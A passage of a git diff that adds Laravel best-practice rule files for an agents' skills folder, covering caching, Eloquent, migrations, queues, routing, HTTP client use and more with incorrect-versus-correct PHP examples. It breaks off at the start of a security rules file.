+``` + +## Use `@pushOnce` for Per-Component Scripts + +If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once. + +## Prefer Blade Components Over `@include` + +`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots. + +## Use View Composers for Shared View Data + +If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it. + +## Use Blade Fragments for Partial Re-Renders (htmx/Turbo) + +A single view can return either the full page or just a fragment, keeping routing clean. + +```php +return view('dashboard', compact('users')) + ->fragmentIf($request->hasHeader('HX-Request'), 'user-list'); +``` + +## Use `@aware` for Deeply Nested Component Props + +Avoids re-passing parent props through every level of nested components. \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/caching.md b/.agents/skills/laravel-best-practices/rules/caching.md new file mode 100644 index 000000000..eb3ef3e62 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/caching.md @@ -0,0 +1,70 @@ +# Caching Best Practices + +## Use `Cache::remember()` Instead of Manual Get/Put + +Atomic pattern prevents race conditions and removes boilerplate. + +Incorrect: +```php +$val = Cache::get('stats'); +if (! $val) { + $val = $this->computeStats(); + Cache::put('stats', $val, 60); +} +``` + +Correct: +```php +$val = Cache::remember('stats', 60, fn () => $this->computeStats()); +``` + +## Use `Cache::flexible()` for Stale-While-Revalidate + +On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background. + +Incorrect: `Cache::remember('users', 300, fn () => User::all());` + +Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function. + +## Use `Cache::memo()` to Avoid Redundant Hits Within a Request + +If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory. + +`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5. + +## Use Cache Tags to Invalidate Related Groups + +Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`. + +```php +Cache::tags(['user-1'])->flush(); +``` + +## Use `Cache::add()` for Atomic Conditional Writes + +`add()` only writes if the key does not exist — atomic, no race condition between checking and writing. + +Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }` + +Correct: `Cache::add('lock', true, 10);` + +## Use `once()` for Per-Request Memoization + +`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory. + +```php +public function roles(): Collection +{ + return once(fn () => $this->loadRoles()); +} +``` + +Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching. + +## Configure Failover Cache Stores in Production + +If Redis goes down, the app falls back to a secondary store automatically. + +```php +'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']], +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/collections.md b/.agents/skills/laravel-best-practices/rules/collections.md new file mode 100644 index 000000000..14f683d32 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/collections.md @@ -0,0 +1,44 @@ +# Collection Best Practices + +## Use Higher-Order Messages for Simple Operations + +Incorrect: +```php +$users->each(function (User $user) { + $user->markAsVip(); +}); +``` + +Correct: `$users->each->markAsVip();` + +Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc. + +## Choose `cursor()` vs. `lazy()` Correctly + +- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk). +- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading. + +Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored. + +Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work. + +## Use `lazyById()` When Updating Records While Iterating + +`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation. + +## Use `toQuery()` for Bulk Operations on Collections + +Avoids manual `whereIn` construction. + +Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);` + +Correct: `$users->toQuery()->update([...]);` + +## Use `#[CollectedBy]` for Custom Collection Classes + +More declarative than overriding `newCollection()`. + +```php +#[CollectedBy(UserCollection::class)] +class User extends Model {} +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/config.md b/.agents/skills/laravel-best-practices/rules/config.md new file mode 100644 index 000000000..8fd8f536f --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/config.md @@ -0,0 +1,73 @@ +# Configuration Best Practices + +## `env()` Only in Config Files + +Direct `env()` calls return `null` when config is cached. + +Incorrect: +```php +$key = env('API_KEY'); +``` + +Correct: +```php +// config/services.php +'key' => env('API_KEY'), + +// Application code +$key = config('services.key'); +``` + +## Use Encrypted Env or External Secrets + +Never store production secrets in plain `.env` files in version control. + +Incorrect: +```bash + +# .env committed to repo or shared in Slack + +STRIPE_SECRET=sk_live_abc123 +AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI +``` + +Correct: +```bash +php artisan env:encrypt --env=production --readable +php artisan env:decrypt --env=production +``` + +For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime. + +## Use `App::environment()` for Environment Checks + +Incorrect: +```php +if (env('APP_ENV') === 'production') { +``` + +Correct: +```php +if (app()->isProduction()) { +// or +if (App::environment('production')) { +``` + +## Use Constants and Language Files + +Use class constants instead of hardcoded magic strings for model states, types, and statuses. + +```php +// Incorrect +return $this->type === 'normal'; + +// Correct +return $this->type === self::TYPE_NORMAL; +``` + +If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there. + +```php +// Only when lang files already exist in the project +return back()->with('message', __('app.article_added')); +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/db-performance.md b/.agents/skills/laravel-best-practices/rules/db-performance.md new file mode 100644 index 000000000..8fb719377 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/db-performance.md @@ -0,0 +1,192 @@ +# Database Performance Best Practices + +## Always Eager Load Relationships + +Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront. + +Incorrect (N+1 — executes 1 + N queries): +```php +$posts = Post::all(); +foreach ($posts as $post) { + echo $post->author->name; +} +``` + +Correct (2 queries total): +```php +$posts = Post::with('author')->get(); +foreach ($posts as $post) { + echo $post->author->name; +} +``` + +Constrain eager loads to select only needed columns (always include the foreign key): + +```php +$users = User::with(['posts' => function ($query) { + $query->select('id', 'user_id', 'title') + ->where('published', true) + ->latest() + ->limit(10); +}])->get(); +``` + +## Prevent Lazy Loading in Development + +Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development. + +```php +public function boot(): void +{ + Model::preventLazyLoading(! app()->isProduction()); +} +``` + +Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded. + +## Select Only Needed Columns + +Avoid `SELECT *` — especially when tables have large text or JSON columns. + +Incorrect: +```php +$posts = Post::with('author')->get(); +``` + +Correct: +```php +$posts = Post::select('id', 'title', 'user_id', 'created_at') + ->with(['author:id,name,avatar']) + ->get(); +``` + +When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match. + +## Chunk Large Datasets + +Never load thousands of records at once. Use chunking for batch processing. + +Incorrect: +```php +$users = User::all(); +foreach ($users as $user) { + $user->notify(new WeeklyDigest); +} +``` + +Correct: +```php +User::where('subscribed', true)->chunk(200, function ($users) { + foreach ($users as $user) { + $user->notify(new WeeklyDigest); + } +}); +``` + +Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change: + +```php +User::where('active', false)->chunkById(200, function ($users) { + $users->each->delete(); +}); +``` + +## Add Database Indexes + +Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses. + +Incorrect: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained(); + $table->string('status'); + $table->timestamps(); +}); +``` + +Correct: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->index()->constrained(); + $table->string('status')->index(); + $table->timestamps(); + $table->index(['status', 'created_at']); +}); +``` + +Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`). + +## Use `withCount()` for Counting Relations + +Never load entire collections just to count them. + +Incorrect: +```php +$posts = Post::all(); +foreach ($posts as $post) { + echo $post->comments->count(); +} +``` + +Correct: +```php +$posts = Post::withCount('comments')->get(); +foreach ($posts as $post) { + echo $post->comments_count; +} +``` + +Conditional counting: + +```php +$posts = Post::withCount([ + 'comments', + 'comments as approved_comments_count' => function ($query) { + $query->where('approved', true); + }, +])->get(); +``` + +## Use `cursor()` for Memory-Efficient Iteration + +For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator. + +Incorrect: +```php +$users = User::where('active', true)->get(); +``` + +Correct: +```php +foreach (User::where('active', true)->cursor() as $user) { + ProcessUser::dispatch($user->id); +} +``` + +Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records. + +## No Queries in Blade Templates + +Never execute queries in Blade templates. Pass data from controllers. + +Incorrect: +```blade +@foreach (User::all() as $user) + {{ $user->profile->name }} +@endforeach +``` + +Correct: +```php +// Controller +$users = User::with('profile')->get(); +return view('users.index', compact('users')); +``` + +```blade +@foreach ($users as $user) + {{ $user->profile->name }} +@endforeach +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/eloquent.md b/.agents/skills/laravel-best-practices/rules/eloquent.md new file mode 100644 index 000000000..09cd66a05 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/eloquent.md @@ -0,0 +1,148 @@ +# Eloquent Best Practices + +## Use Correct Relationship Types + +Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints. + +```php +public function comments(): HasMany +{ + return $this->hasMany(Comment::class); +} + +public function author(): BelongsTo +{ + return $this->belongsTo(User::class, 'user_id'); +} +``` + +## Use Local Scopes for Reusable Queries + +Extract reusable query constraints into local scopes to avoid duplication. + +Incorrect: +```php +$active = User::where('verified', true)->whereNotNull('activated_at')->get(); +$articles = Article::whereHas('user', function ($q) { + $q->where('verified', true)->whereNotNull('activated_at'); +})->get(); +``` + +Correct: +```php +public function scopeActive(Builder $query): Builder +{ + return $query->where('verified', true)->whereNotNull('activated_at'); +} + +// Usage +$active = User::active()->get(); +$articles = Article::whereHas('user', fn ($q) => $q->active())->get(); +``` + +## Apply Global Scopes Sparingly + +Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy. + +Incorrect (global scope for a conditional filter): +```php +class PublishedScope implements Scope +{ + public function apply(Builder $builder, Model $model): void + { + $builder->where('published', true); + } +} +// Now admin panels, reports, and background jobs all silently skip drafts +``` + +Correct (local scope you opt into): +```php +public function scopePublished(Builder $query): Builder +{ + return $query->where('published', true); +} + +Post::published()->paginate(); // Explicit +Post::paginate(); // Admin sees all +``` + +## Define Attribute Casts + +Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion. + +```php +protected function casts(): array +{ + return [ + 'is_active' => 'boolean', + 'metadata' => 'array', + 'total' => 'decimal:2', + ]; +} +``` + +## Cast Date Columns Properly + +Always cast date columns. Use Carbon instances in templates instead of formatting strings manually. + +Incorrect: +```blade +{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }} +``` + +Correct: +```php +protected function casts(): array +{ + return [ + 'ordered_at' => 'datetime', + ]; +} +``` + +```blade +{{ $order->ordered_at->toDateString() }} +{{ $order->ordered_at->format('m-d') }} +``` + +## Use `whereBelongsTo()` for Relationship Queries + +Cleaner than manually specifying foreign keys. + +Incorrect: +```php +Post::where('user_id', $user->id)->get(); +``` + +Correct: +```php +Post::whereBelongsTo($user)->get(); +Post::whereBelongsTo($user, 'author')->get(); +``` + +## Avoid Hardcoded Table Names in Queries + +Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string). + +Incorrect: +```php +DB::table('users')->where('active', true)->get(); + +$query->join('companies', 'companies.id', '=', 'users.company_id'); + +DB::select('SELECT * FROM orders WHERE status = ?', ['pending']); +``` + +Correct — reference the model's table: +```php +DB::table((new User)->getTable())->where('active', true)->get(); + +// Even better — use Eloquent or the query builder instead of raw SQL +User::where('active', true)->get(); +Order::where('status', 'pending')->get(); +``` + +Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable. + +**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration. \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/error-handling.md b/.agents/skills/laravel-best-practices/rules/error-handling.md new file mode 100644 index 000000000..bb8e7a387 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/error-handling.md @@ -0,0 +1,72 @@ +# Error Handling Best Practices + +## Exception Reporting and Rendering + +There are two valid approaches — choose one and apply it consistently across the project. + +**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find: + +```php +class InvalidOrderException extends Exception +{ + public function report(): void { /* custom reporting */ } + + public function render(Request $request): Response + { + return response()->view('errors.invalid-order', status: 422); + } +} +``` + +**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture: + +```php +->withExceptions(function (Exceptions $exceptions) { + $exceptions->report(function (InvalidOrderException $e) { /* ... */ }); + $exceptions->render(function (InvalidOrderException $e, Request $request) { + return response()->view('errors.invalid-order', status: 422); + }); +}) +``` + +Check the existing codebase and follow whichever pattern is already established. + +## Use `ShouldntReport` for Exceptions That Should Never Log + +More discoverable than listing classes in `dontReport()`. + +```php +class PodcastProcessingException extends Exception implements ShouldntReport {} +``` + +## Throttle High-Volume Exceptions + +A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type. + +## Enable `dontReportDuplicates()` + +Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks. + +## Force JSON Error Rendering for API Routes + +Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes. + +```php +$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) { + return $request->is('api/*') || $request->expectsJson(); +}); +``` + +## Add Context to Exception Classes + +Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry. + +```php +class InvalidOrderException extends Exception +{ + public function context(): array + { + return ['order_id' => $this->orderId]; + } +} +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/events-notifications.md b/.agents/skills/laravel-best-practices/rules/events-notifications.md new file mode 100644 index 000000000..bc43f1997 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/events-notifications.md @@ -0,0 +1,48 @@ +# Events & Notifications Best Practices + +## Rely on Event Discovery + +Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`. + +## Run `event:cache` in Production Deploy + +Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`. + +## Use `ShouldDispatchAfterCommit` Inside Transactions + +Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet. + +```php +class OrderShipped implements ShouldDispatchAfterCommit {} +``` + +## Always Queue Notifications + +Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response. + +```php +class InvoicePaid extends Notification implements ShouldQueue +{ + use Queueable; +} +``` + +## Use `afterCommit()` on Notifications in Transactions + +Same race condition as events — the queued notification job may run before the transaction commits. + +## Route Notification Channels to Dedicated Queues + +Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues. + +## Use On-Demand Notifications for Non-User Recipients + +Avoid creating dummy models to send notifications to arbitrary addresses. + +```php +Notification::route('mail', 'admin@example.com')->notify(new SystemAlert()); +``` + +## Implement `HasLocalePreference` on Notifiable Models + +Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed. \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/http-client.md b/.agents/skills/laravel-best-practices/rules/http-client.md new file mode 100644 index 000000000..0a7876ed3 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/http-client.md @@ -0,0 +1,160 @@ +# HTTP Client Best Practices + +## Always Set Explicit Timeouts + +The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast. + +Incorrect: +```php +$response = Http::get('https://api.example.com/users'); +``` + +Correct: +```php +$response = Http::timeout(5) + ->connectTimeout(3) + ->get('https://api.example.com/users'); +``` + +For service-specific clients, define timeouts in a macro: + +```php +Http::macro('github', function () { + return Http::baseUrl('https://api.github.com') + ->timeout(10) + ->connectTimeout(3) + ->withToken(config('services.github.token')); +}); + +$response = Http::github()->get('/repos/laravel/framework'); +``` + +## Use Retry with Backoff for External APIs + +External APIs have transient failures. Use `retry()` with increasing delays. + +Incorrect: +```php +$response = Http::post('https://api.stripe.com/v1/charges', $data); + +if ($response->failed()) { + throw new PaymentFailedException('Charge failed'); +} +``` + +Correct: +```php +$response = Http::retry([100, 500, 1000]) + ->timeout(10) + ->post('https://api.stripe.com/v1/charges', $data); +``` + +Only retry on specific errors: + +```php +$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) { + return $exception instanceof ConnectionException + || ($exception instanceof RequestException && $exception->response->serverError()); +})->post('https://api.example.com/data'); +``` + +## Handle Errors Explicitly + +The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`. + +Incorrect: +```php +$response = Http::get('https://api.example.com/users/1'); +$user = $response->json(); // Could be an error body +``` + +Correct: +```php +$response = Http::timeout(5) + ->get('https://api.example.com/users/1') + ->throw(); + +$user = $response->json(); +``` + +For graceful degradation: + +```php +$response = Http::get('https://api.example.com/users/1'); + +if ($response->successful()) { + return $response->json(); +} + +if ($response->notFound()) { + return null; +} + +$response->throw(); +``` + +## Use Request Pooling for Concurrent Requests + +When making multiple independent API calls, use `Http::pool()` instead of sequential calls. + +Incorrect: +```php +$users = Http::get('https://api.example.com/users')->json(); +$posts = Http::get('https://api.example.com/posts')->json(); +$comments = Http::get('https://api.example.com/comments')->json(); +``` + +Correct: +```php +use Illuminate\Http\Client\Pool; + +$responses = Http::pool(fn (Pool $pool) => [ + $pool->as('users')->get('https://api.example.com/users'), + $pool->as('posts')->get('https://api.example.com/posts'), + $pool->as('comments')->get('https://api.example.com/comments'), +]); + +$users = $responses['users']->json(); +$posts = $responses['posts']->json(); +``` + +## Fake HTTP Calls in Tests + +Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`. + +Incorrect: +```php +it('syncs user from API', function () { + $service = new UserSyncService; + $service->sync(1); // Hits the real API +}); +``` + +Correct: +```php +it('syncs user from API', function () { + Http::preventStrayRequests(); + + Http::fake([ + 'api.example.com/users/1' => Http::response([ + 'name' => 'John Doe', + 'email' => 'john@example.com', + ]), + ]); + + $service = new UserSyncService; + $service->sync(1); + + Http::assertSent(function (Request $request) { + return $request->url() === 'https://api.example.com/users/1'; + }); +}); +``` + +Test failure scenarios too: + +```php +Http::fake([ + 'api.example.com/*' => Http::failedConnection(), +]); +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/mail.md b/.agents/skills/laravel-best-practices/rules/mail.md new file mode 100644 index 000000000..c7f67966e --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/mail.md @@ -0,0 +1,27 @@ +# Mail Best Practices + +## Implement `ShouldQueue` on the Mailable Class + +Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it. + +## Use `afterCommit()` on Mailables Inside Transactions + +A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor. + +## Use `assertQueued()` Not `assertSent()` for Queued Mailables + +`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence. + +Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`. + +Correct: `Mail::assertQueued(OrderShipped::class);` + +## Use Markdown Mailables for Transactional Emails + +Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag. + +## Separate Content Tests from Sending Tests + +Content tests: instantiate the mailable directly, call `assertSeeInHtml()`. +Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`. +Don't mix them — it conflates concerns and makes tests brittle. \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/migrations.md b/.agents/skills/laravel-best-practices/rules/migrations.md new file mode 100644 index 000000000..de25aa39c --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/migrations.md @@ -0,0 +1,121 @@ +# Migration Best Practices + +## Generate Migrations with Artisan + +Always use `php artisan make:migration` for consistent naming and timestamps. + +Incorrect (manually created file): +```php +// database/migrations/posts_migration.php ← wrong naming, no timestamp +``` + +Correct (Artisan-generated): +```bash +php artisan make:migration create_posts_table +php artisan make:migration add_slug_to_posts_table +``` + +## Use `constrained()` for Foreign Keys + +Automatic naming and referential integrity. + +```php +$table->foreignId('user_id')->constrained()->cascadeOnDelete(); + +// Non-standard names +$table->foreignId('author_id')->constrained('users'); +``` + +## Never Modify Deployed Migrations + +Once a migration has run in production, treat it as immutable. Create a new migration to change the table. + +Incorrect (editing a deployed migration): +```php +// 2024_01_01_create_posts_table.php — already in production +$table->string('slug')->unique(); // ← added after deployment +``` + +Correct (new migration to alter): +```php +// 2024_03_15_add_slug_to_posts_table.php +Schema::table('posts', function (Blueprint $table) { + $table->string('slug')->unique()->after('title'); +}); +``` + +## Add Indexes in the Migration + +Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes. + +Incorrect: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained(); + $table->string('status'); + $table->timestamps(); +}); +``` + +Correct: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained()->index(); + $table->string('status')->index(); + $table->timestamp('shipped_at')->nullable()->index(); + $table->timestamps(); +}); +``` + +## Mirror Defaults in Model `$attributes` + +When a column has a database default, mirror it in the model so new instances have correct values before saving. + +```php +// Migration +$table->string('status')->default('pending'); + +// Model +protected $attributes = [ + 'status' => 'pending', +]; +``` + +## Write Reversible `down()` Methods by Default + +Implement `down()` for schema changes that can be safely reversed so `migrate:rollback` works in CI and failed deployments. + +```php +public function down(): void +{ + Schema::table('posts', function (Blueprint $table) { + $table->dropColumn('slug'); + }); +} +``` + +For intentionally irreversible migrations (e.g., destructive data backfills), leave a clear comment and require a forward fix migration instead of pretending rollback is supported. + +## Keep Migrations Focused + +One concern per migration. Never mix DDL (schema changes) and DML (data manipulation). + +Incorrect (partial failure creates unrecoverable state): +```php +public function up(): void +{ + Schema::create('settings', function (Blueprint $table) { ... }); + DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']); +} +``` + +Correct (separate migrations): +```php +// Migration 1: create_settings_table +Schema::create('settings', function (Blueprint $table) { ... }); + +// Migration 2: seed_default_settings +DB::table('settings')->insert(['key' => 'version', 'value' => '1.0']); +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/queue-jobs.md b/.agents/skills/laravel-best-practices/rules/queue-jobs.md new file mode 100644 index 000000000..d4575aac0 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/queue-jobs.md @@ -0,0 +1,146 @@ +# Queue & Job Best Practices + +## Set `retry_after` Greater Than `timeout` + +If `retry_after` is shorter than the job's `timeout`, the queue worker re-dispatches the job while it's still running, causing duplicate execution. + +Incorrect (`retry_after` ≤ `timeout`): +```php +class ProcessReport implements ShouldQueue +{ + public $timeout = 120; +} + +// config/queue.php — retry_after: 90 ← job retried while still running! +``` + +Correct (`retry_after` > `timeout`): +```php +class ProcessReport implements ShouldQueue +{ + public $timeout = 120; +} + +// config/queue.php — retry_after: 180 ← safely longer than any job timeout +``` + +## Use Exponential Backoff + +Use progressively longer delays between retries to avoid hammering failing services. + +Incorrect (fixed retry interval): +```php +class SyncWithStripe implements ShouldQueue +{ + public $tries = 3; + // Default: retries immediately, overwhelming the API +} +``` + +Correct (exponential backoff): +```php +class SyncWithStripe implements ShouldQueue +{ + public $tries = 3; + public $backoff = [1, 5, 10]; +} +``` + +## Implement `ShouldBeUnique` + +Prevent duplicate job processing. + +```php +class GenerateInvoice implements ShouldQueue, ShouldBeUnique +{ + public function uniqueId(): string + { + return $this->order->id; + } + + public $uniqueFor = 3600; +} +``` + +## Always Implement `failed()` + +Handle errors explicitly — don't rely on silent failure. + +```php +public function failed(?Throwable $exception): void +{ + $this->podcast->update(['status' => 'failed']); + Log::error('Processing failed', ['id' => $this->podcast->id, 'error' => $exception->getMessage()]); +} +``` + +## Rate Limit External API Calls in Jobs + +Use `RateLimited` middleware to throttle jobs calling third-party APIs. + +```php +public function middleware(): array +{ + return [new RateLimited('external-api')]; +} +``` + +## Batch Related Jobs + +Use `Bus::batch()` when jobs should succeed or fail together. + +```php +Bus::batch([ + new ImportCsvChunk($chunk1), + new ImportCsvChunk($chunk2), +]) +->then(fn (Batch $batch) => Notification::send($user, new ImportComplete)) +->catch(fn (Batch $batch, Throwable $e) => Log::error('Batch failed')) +->dispatch(); +``` + +## `retryUntil()` Needs `$tries = 0` + +When using time-based retry limits, set `$tries = 0` to avoid premature failure. + +```php +public $tries = 0; + +public function retryUntil(): DateTime +{ + return now()->addHours(4); +} +``` + +## Use `WithoutOverlapping::untilProcessing()` + +Prevents concurrent execution while allowing new instances to queue. + +```php +public function middleware(): array +{ + return [new WithoutOverlapping($this->product->id)->untilProcessing()]; +} +``` + +Without `untilProcessing()`, the lock extends through queue wait time. With it, the lock releases when processing starts. + +## Use Horizon for Complex Queue Scenarios + +Use Laravel Horizon when you need monitoring, auto-scaling, failure tracking, or multiple queues with different priorities. + +```php +// config/horizon.php +'environments' => [ + 'production' => [ + 'supervisor-1' => [ + 'connection' => 'redis', + 'queue' => ['high', 'default', 'low'], + 'balance' => 'auto', + 'minProcesses' => 1, + 'maxProcesses' => 10, + 'tries' => 3, + ], + ], +], +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/routing.md b/.agents/skills/laravel-best-practices/rules/routing.md new file mode 100644 index 000000000..e288375d7 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/routing.md @@ -0,0 +1,98 @@ +# Routing & Controllers Best Practices + +## Use Implicit Route Model Binding + +Let Laravel resolve models automatically from route parameters. + +Incorrect: +```php +public function show(int $id) +{ + $post = Post::findOrFail($id); +} +``` + +Correct: +```php +public function show(Post $post) +{ + return view('posts.show', ['post' => $post]); +} +``` + +## Use Scoped Bindings for Nested Resources + +Enforce parent-child relationships automatically. + +```php +Route::get('/users/{user}/posts/{post}', function (User $user, Post $post) { + // $post is automatically scoped to $user +})->scopeBindings(); +``` + +## Use Resource Controllers + +Use `Route::resource()` or `apiResource()` for RESTful endpoints. + +```php +Route::resource('posts', PostController::class); +Route::apiResource('api/posts', Api\PostController::class); +``` + +## Keep Controllers Thin + +Aim for under 10 lines per method. Extract business logic to action or service classes. + +Incorrect: +```php +public function store(Request $request) +{ + $validated = $request->validate([...]); + if ($request->hasFile('image')) { + $request->file('image')->move(public_path('images')); + } + $post = Post::create($validated); + $post->tags()->sync($validated['tags']); + event(new PostCreated($post)); + return redirect()->route('posts.show', $post); +} +``` + +Correct: +```php +public function store(StorePostRequest $request, CreatePostAction $create) +{ + $post = $create->execute($request->validated()); + + return redirect()->route('posts.show', $post); +} +``` + +## Type-Hint Form Requests + +Type-hinting Form Requests triggers automatic validation and authorization before the method executes. + +Incorrect: +```php +public function store(Request $request): RedirectResponse +{ + $validated = $request->validate([ + 'title' => ['required', 'max:255'], + 'body' => ['required'], + ]); + + Post::create($validated); + + return redirect()->route('posts.index'); +} +``` + +Correct: +```php +public function store(StorePostRequest $request): RedirectResponse +{ + Post::create($request->validated()); + + return redirect()->route('posts.index'); +} +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/scheduling.md b/.agents/skills/laravel-best-practices/rules/scheduling.md new file mode 100644 index 000000000..dfaefa26f --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/scheduling.md @@ -0,0 +1,39 @@ +# Task Scheduling Best Practices + +## Use `withoutOverlapping()` on Variable-Duration Tasks + +Without it, a long-running task spawns a second instance on the next tick, causing double-processing or resource exhaustion. + +## Use `onOneServer()` on Multi-Server Deployments + +Without it, every server runs the same task simultaneously. Requires a shared cache driver (Redis, database, Memcached). + +## Use `runInBackground()` for Concurrent Long Tasks + +By default, tasks at the same tick run sequentially. A slow first task delays all subsequent ones. `runInBackground()` runs them as separate processes. + +## Use `environments()` to Restrict Tasks + +Prevent accidental execution of production-only tasks (billing, reporting) on staging. + +```php +Schedule::command('billing:charge')->monthly()->environments(['production']); +``` + +## Use `takeUntilTimeout()` for Time-Bounded Processing + +A task running every 15 minutes that processes an unbounded cursor can overlap with the next run. Bound execution time. + +## Use Schedule Groups for Shared Configuration + +Avoid repeating `->onOneServer()->timezone('America/New_York')` across many tasks. + +```php +Schedule::daily() + ->onOneServer() + ->timezone('America/New_York') + ->group(function () { + Schedule::command('emails:send --force'); + Schedule::command('emails:prune'); + }); +``` \ No newline at end of file diff --git a/.agents/skills/laravel-best-practices/rules/security.md b/.agents/skills/laravel-best-practices/rules/security.md new file mode 100644 index 000000000..524d47e61 --- /dev/null +++ b/.agents/skills/laravel-best-practices/rules/security.md @@ -0,0 +1,198 @@ +# Security Best Practices + +## Mass Assignment Protection + +Every model must define `$fillable` (whitelist) or `$guarded` 